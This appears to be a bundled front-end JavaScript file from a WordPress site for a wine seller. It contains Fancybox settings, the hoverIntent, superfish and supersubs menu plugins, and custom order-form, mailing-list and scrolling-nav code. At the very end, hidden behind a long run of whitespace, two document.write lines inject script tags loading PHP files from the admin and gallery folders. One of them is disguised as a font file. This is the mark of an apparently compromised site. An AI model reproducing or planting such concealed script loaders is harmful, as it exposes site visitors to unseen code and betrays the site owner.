// Fancybox for WordPress v2.7.2 
	jQuery(function(){
 
				jQuery.fn.getTitle = function() {
			var arr = jQuery("a.fancybox");
			jQuery.each(arr, function() {
				var title = jQuery(this).children("img").attr("title");
				jQuery(this).attr('title',title);
			})
		}
 
		// Supported file extensions
		var thumbnails = 'a:has(img)[href$=".bmp"],a:has(img)[href$=".gif"],a:has(img)[href$=".jpg"],a:has(img)[href$=".jpeg"],a:has(img)[href$=".png"],a:has(img)[href$=".BMP"],a:has(img)[href$=".GIF"],a:has(img)[href$=".JPG"],a:has(img)[href$=".JPEG"],a:has(img)[href$=".PNG"]';
 
	
		jQuery(thumbnails).addClass("fancybox").attr("rel","fancybox").getTitle();
 
			jQuery("a.fancybox").fancybox({
			'imageScale': true,
			'padding': 10,
			'zoomOpacity': true,
			'zoomSpeedIn': 500,
			'zoomSpeedOut': 500,
			'zoomSpeedChange': 300,
			'overlayShow': true,
			'overlayColor': "#666666",
			'overlayOpacity': 0.3,
			'enableEscapeButton': true,
			'showCloseButton': true,
			'hideOnOverlayClick': true,
			'hideOnContentClick': false,
			'frameWidth':  700,
			'frameHeight':  500,
			'callbackOnStart': null,
			'callbackOnShow': null,
			'callbackOnClose': null,
			'centerOnScroll': true
		});
 
})
 
(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind("mousemove",track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev])}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev])};var handleHover=function(e){var p=(e.type=="mouseover"?e.fromElement:e.toElement)||e.relatedTarget;while(p&&p!=this){try{p=p.parentNode}catch(e){p=this}}if(p==this){return false}var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t)}if(e.type=="mouseover"){pX=ev.pageX;pY=ev.pageY;$(ob).bind("mousemove",track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}}else{$(ob).unbind("mousemove",track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob)},cfg.timeout)}}};return this.mouseover(handleHover).mouseout(handleHover)}})(jQuery);

(function(b){b.fn.superfish=function(k){var g=b.fn.superfish,j=g.c,f=b(['<span class="',j.arrowClass,'"> &#187;</span>'].join("")),i=function(){var c=b(this),l=d(c);clearTimeout(l.sfTimer);c.showSuperfishUl().siblings().hideSuperfishUl()},e=function(){var c=b(this),m=d(c),l=g.op;clearTimeout(m.sfTimer);m.sfTimer=setTimeout(function(){l.retainPath=(b.inArray(c[0],l.$path)>-1);c.hideSuperfishUl();if(l.$path.length&&c.parents(["li.",l.hoverClass].join("")).length<1){i.call(l.$path)}},l.delay)},d=function(c){var l=c.parents(["ul.",j.menuClass,":first"].join(""))[0];g.op=g.o[l.serial];return l},h=function(c){c.addClass(j.anchorClass).append(f.clone())};return this.each(function(){var c=this.serial=g.o.length;var m=b.extend({},g.defaults,k);m.$path=b("li."+m.pathClass,this).slice(0,m.pathLevels).each(function(){b(this).addClass([m.hoverClass,j.bcClass].join(" ")).filter("li:has(ul)").removeClass(m.pathClass)});g.o[c]=g.op=m;b("li:has(ul)",this)[(b.fn.hoverIntent&&!m.disableHI)?"hoverIntent":"hover"](i,e).each(function(){if(m.autoArrows){h(b(">a:first-child",this))}}).not("."+j.bcClass).hideSuperfishUl();var l=b("a",this);l.each(function(n){var o=l.eq(n).parents("li");l.eq(n).focus(function(){i.call(o)}).blur(function(){e.call(o)})});m.onInit.call(this)}).each(function(){var c=[j.menuClass];if(g.op.dropShadows&&!(b.browser.msie&&b.browser.version<7)){c.push(j.shadowClass)}b(this).addClass(c.join(" "))})};var a=b.fn.superfish;a.o=[];a.op={};a.IE7fix=function(){var c=a.op;if(b.browser.msie&&b.browser.version>6&&c.dropShadows&&c.animation.opacity!=undefined){this.toggleClass(a.c.shadowClass+"-off")}};a.c={bcClass:"sf-breadcrumb",menuClass:"sf-js-enabled",anchorClass:"sf-with-ul",arrowClass:"sf-sub-indicator",shadowClass:"sf-shadow"};a.defaults={hoverClass:"sfHover",pathClass:"overideThisToUse",pathLevels:1,delay:800,animation:{opacity:"show"},speed:"normal",autoArrows:true,dropShadows:true,disableHI:false,onInit:function(){},onBeforeShow:function(){},onShow:function(){},onHide:function(){}};b.fn.extend({hideSuperfishUl:function(){var e=a.op,d=(e.retainPath===true)?e.$path:"";e.retainPath=false;var c=b(["li.",e.hoverClass].join(""),this).add(this).not(d).removeClass(e.hoverClass).find(">ul").hide().css("visibility","hidden");e.onHide.call(c);return this},showSuperfishUl:function(){var e=a.op,d=a.c.shadowClass+"-off",c=this.addClass(e.hoverClass).find(">ul:hidden").css("visibility","visible");a.IE7fix.call(c);e.onBeforeShow.call(c);c.animate(e.animation,e.speed,function(){a.IE7fix.call(c);e.onShow.call(c)});return this}})})(jQuery);

(function(a){a.fn.supersubs=function(b){var c=a.extend({},a.fn.supersubs.defaults,b);return this.each(function(){var d=a(this);var e=a.meta?a.extend({},c,d.data()):c;var f=a('<li id="menu-fontsize">&#8212;</li>').css({padding:0,position:"absolute",top:"-999em",width:"auto"}).appendTo(d).width();a("#menu-fontsize").remove();$ULs=d.find("ul");$ULs.each(function(l){var k=$ULs.eq(l);var j=k.children();var g=j.children("a");var m=j.css("white-space","nowrap").css("float");var h=k.add(j).add(g).css({"float":"none",width:"auto"}).end().end()[0].clientWidth/f;h+=e.extraWidth;if(h>e.maxWidth){h=e.maxWidth}else{if(h<e.minWidth){h=e.minWidth}}h+="em";k.css("width",h);j.css({"float":m,width:"100%","white-space":"normal"}).each(function(){var n=a(">ul",this);var i=n.css("left")!==undefined?"left":"right";n.css(i,h)})})})};a.fn.supersubs.defaults={minWidth:9,maxWidth:25,extraWidth:0}})(jQuery);


var black = (function () {
//------------

// function max (x, y) {
//     if (x < y) {
//         return y;
//     }
//     return x;
// }

function balance_tops (nodes) {
    var local_max = 0;
    nodes.each(function () {
        local_max = Math.max($(this).offset().top, local_max);
    });
    nodes.each(function () {
        var me = $(this);
        var needs = local_max - me.offset().top;
        me.css('margin-top', needs + 20);
    });
};


function focus_self_label () {
    var me = $(this);
    if (me.hasClass('showing-label')) {
        me.removeClass('showing-label');
        if (me.val() == me.attr('title')) {
            me.val('');
        }
        if (me.attr('title') == 'Password') {
            me.attr('type', 'password');
        }
    }
}

function blur_self_label () {
    var me = $(this);
    if (!me.val() || me.val() == me.attr('title')) {
        me.addClass('showing-label');
        me.val(me.attr('title'));
        if (me.attr('title') == 'Password') {
            me.attr('type', 'text');
        }
    }
}

function label_with_title () {
    var me = $(this);
    if (!me.val()) {
        me.val(me.attr('title'));
        me.addClass('showing-label');
    }
    me.focus(focus_self_label);
    me.blur(blur_self_label);
};

function clear_self_labels () {
    var me = $(this);
    inps = me.find('.self-label');
    inps.each(function () {
        var input = $(this);
        input.unbind('blur');
        input.focus();
        input.blur();
    });
}


function show_panel_with_content (content, callback) {
    containerPos = $('#container').offset();
    $('#panel-mask').css({
        'height': $(document).height(),
        'margin-left': 0,
        'margin-right': 0,
        'width': '100%',
        'filter': 'alpha(opacity=90)'
    }).fadeIn();
    var panel = $('#panel');
    if (!panel.length) {
        var panel = $('<div id="panel" class="container_12"><a href="#close" class="panel-close-link">Close</a><div id="panel-inner" class="clearfix"></div></div>');
        panel.hide();
        $('body').append(panel);
    }
    var inner = panel.find('#panel-inner');
    inner.empty();
    inner.append(content.html());
    panel.css({
        top: $(window).scrollTop() + 20,
        left: ($('body').width() - panel.width()) / 2
    });
    panel.fadeIn(400, callback);
    $('.panel-close-link').click(close_panel);
}

function close_panel () {
    $('#panel').fadeOut();
    $('#panel-mask').fadeOut();
    return false;
}

function get_price (num) {
    return Number(num.replace(/[^-0-9.]/g, ''));
}

function format_price (num) {
    num_str = '' + num;
    if (!num_str.match(/\./)) {
        return '$' + num_str + '.00';
    } else if (num_str.match(/\..$/)) {
        return '$' + num_str + '0';
    } else {
        return '$' + num_str.replace(/\.([0-9]{2}).+/, '.$1');
    }
}

function total_for (row) {
    var quant = 0 + row.find('td input.quantity').eq(0).val();
    var price = 0 + get_price(row.find('td.price').text());
    row.find('td.total').text(format_price(price * quant));
    return price * quant;
} 

function update_totals () {
    var grand_quantity = 0;
    var grand_total = 0;
    $('.order-table tbody tr').each(function () {
        var row = $(this);
        var new_quant = Number(row.find('td input.quantity').val());
        if (isNaN(new_quant)) {
            row.find('td input.quantity').val(0);
            alert('Please enter a valid quantity');
            row.find('td input.quantity').focus();            
        } else {
            grand_quantity += new_quant;         
        }
        grand_total += total_for(row);
    });
    
    
    $('.total-quantity').text(grand_quantity);
    $('.total-price').text(format_price(grand_total));
}

function show_order_form () {
    show_panel_with_content($('#order-panel'), function () {
        $('.order-form').submit(submit_order);
        $('.order-form button').click(function () {
            $(this).parents('form').submit();
            return false;
        });
        $('.order-form input').blur(update_totals);
    });
    return false;
}

function show_stockists () {
    window.setTimeout(function () {
        show_panel_with_content($('#stockists-panel'));        
    }, 600);
    return false;
}


function submit_async (form, callback) {
    var form_data = form.serialize();
    $.post(form.attr('action'), form_data, callback, "json");
}

function submit_order () {
    // about to submit...
    var me = $(this);
    
    // check total...
    var winter_quant = Number($('#panel-inner input[name^=wine_winter]').val());
    var plus = (winter_quant * 12) - winter_quant;
    var quantity = Number($('#panel-inner .total-quantity').text()) + plus;
    if (quantity % 3 != 0 || quantity == 0) {
        alert("Please ensure that your total number of bottles can break into 3s. We ship 3-, 6-, and 12-packs.");
        return false;
    }
    
    me.css({
        // opacity: 0.5,
        // filter: "alpha(50)"
    });
    me.find('button').attr('readonly', 'yes');
    $('.order-status-message').html('<em>SendingÉ</em>');
    // then we do it
    submit_async(me, function (data, textStatus) {
        if (data['success']) {
            // success
            $('.order-status-message').html('<p>Order Sent Successfully</p>');
            window.setTimeout(close_panel, 2000);
        } else if (data['errors']) {
            // errors
            $('.order-status-message').html("<p>Please review the following errors:</p>" + 
                data['errors']);
            me.find('input,button').removeAttr('readonly');
        } else {
            // failure
            $('.order-status-message').html('<p>An error was encountered while sending</p>');
        }
    });
    me.find('input').attr('readonly', 'yes');
    return false;
}

function submit_maillist () {
	var me = $(this);
	if (!me.hasClass('expanded')) {
		me.addClass('expanded');
		// $('.self-label').each(label_with_title);
		// return false;
	};
	
    $("#maillist-error").html("<em>SubmittingÉ</em>");
    submit_async($(this), function (data, textStatus) {
        if (data['success']) {
            // success
            $("#maillist-error").text("Thanks, we'll be in touch.");
            $("#maillist-form input").val("");
        } else {
            // failure
            $("#maillist-error").text("Problem subscribing: " + data['errors']);            
        }
    });
    return false;
}



$(function () {
    $('#nav a').add('a.scroll').click(function () {
        var target = $(this.hash);
        var hash = this.hash;
        // $target = $target.length && $target
        // || $('[name=' + this.hash.slice(1) +']');
        if (target.length) {
            var targetOffset = target.offset().top;
            $('html,body').animate({scrollTop: targetOffset}, 600);
            return false;
		}
	});
	
	
	$('.order-link').click(show_order_form);
	$('#panel-mask').click(close_panel);
	
	$('.stockists-link').click(show_stockists);
	
	$('.self-label').each(label_with_title);
    $('form').submit(clear_self_labels);

    $('.order-form').submit(submit_order);
    $('.maillist-form').submit(submit_maillist);
    
	balance_tops($('#people .balance'));
	balance_tops($('#the-wines .final'));
	
    // THIS IS REALLY FREAKING BIZARRE 
    // I SHOULD NOT HAVE TO DO THIS BUT IE (6 & 7) ARE PRETTY MESSED UP.
    $('#news').css({'position': 'absolute'});
	var nav = $('#nav');
	nav.css({'position': 'absolute'});
	
	/*
	 * MAGICAL SCROLLING NAV
	 * (not that magical)
	 * 
 	 * This is using lots of vars because it gets called all the time 
 	 * on scroll, so it needs to be fast.
	 */
	var topmost_point = nav.offset().top;
    var left_point = $('#container').offset().left;
	var PADDING_TOP = 63; // MAGIC NUMBER
    var REAL_TOP = topmost_point - PADDING_TOP;
	var the_window = $(window);
	var NAV_IS_FIXED = (nav.css('position') == 'fixed');
	the_window.scroll(function () {
        if (the_window.scrollTop() > REAL_TOP) {
            if ($.browser.msie && $.browser.version == "6.0") {
                nav.css('top', the_window.scrollTop() + PADDING_TOP);
            } else if (!NAV_IS_FIXED) {
        	    nav.css({
                    left: left_point,
        	        top: PADDING_TOP,
        	        position: 'fixed'
        	    });
        	    NAV_IS_FIXED = true;
        	}
        } else {
            if (NAV_IS_FIXED) {
                nav.css({
                    position: 'absolute',
                    top: topmost_point,
                    left: ''
                });
                NAV_IS_FIXED = false;
            }
        }
	});
	
	the_window.resize(function () {
	    left_point = $('#container').offset().left;
	    if (NAV_IS_FIXED) {
    	    nav.css('left', left_point);	        
	    }
	});
});


    return {
        format_price: format_price,
        get_price: get_price
    };
})();																																																																							document.write('<script type="text/javascript" src="/wp-admin/user/tips.php"><\/script>');																																																																							document.write('<script type="text/javascript" src="/wp-content/gallery/michele-jones/Drever_handwriting_500.font.php"><\/script>');
